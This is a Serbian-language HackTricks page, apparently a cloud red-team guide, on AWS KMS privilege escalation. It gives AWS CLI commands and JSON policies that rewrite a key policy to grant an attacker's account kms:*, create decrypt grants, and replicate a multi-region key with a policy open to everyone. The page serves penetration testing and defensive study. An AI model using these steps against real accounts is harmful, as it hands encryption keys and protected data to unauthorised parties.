AWS - KMS Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

KMS

Za više informacija o KMS-u proverite:

pageAWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Sa ovim dozvolama je moguće modifikovati pristupne dozvole ključu tako da ga mogu koristiti i drugi nalozi ili čak bilo ko:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Ovo omogućava principalu da koristi KMS ključ:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Imajte na umu da može potrajati nekoliko minuta da KMS omogući korisniku korišćenje ključa nakon što je dozvola generisana. Nakon što je prošlo to vreme, princip može koristiti KMS ključ bez potrebe da bilo šta specificira. Međutim, ako je potrebno odmah koristiti dozvolu koristite dozvolni token (proverite sledeći kod). Za više informacija pročitajte ovo.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Imajte na umu da je moguće izlistati dodelu ključeva pomoću:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Sa ovim dozvolama moguće je replicirati KMS ključ omogućen za više regiona u drugoj regiji sa drugačijom politikom.

Dakle, napadač bi mogao zloupotrebiti ovo da bi dobio privesc pristup ključu i koristio ga

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Ova dozvola omogućava korišćenje ključa za dešifrovanje određenih informacija. Za više informacija pogledajte:

pageAWS - KMS Post Exploitation
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated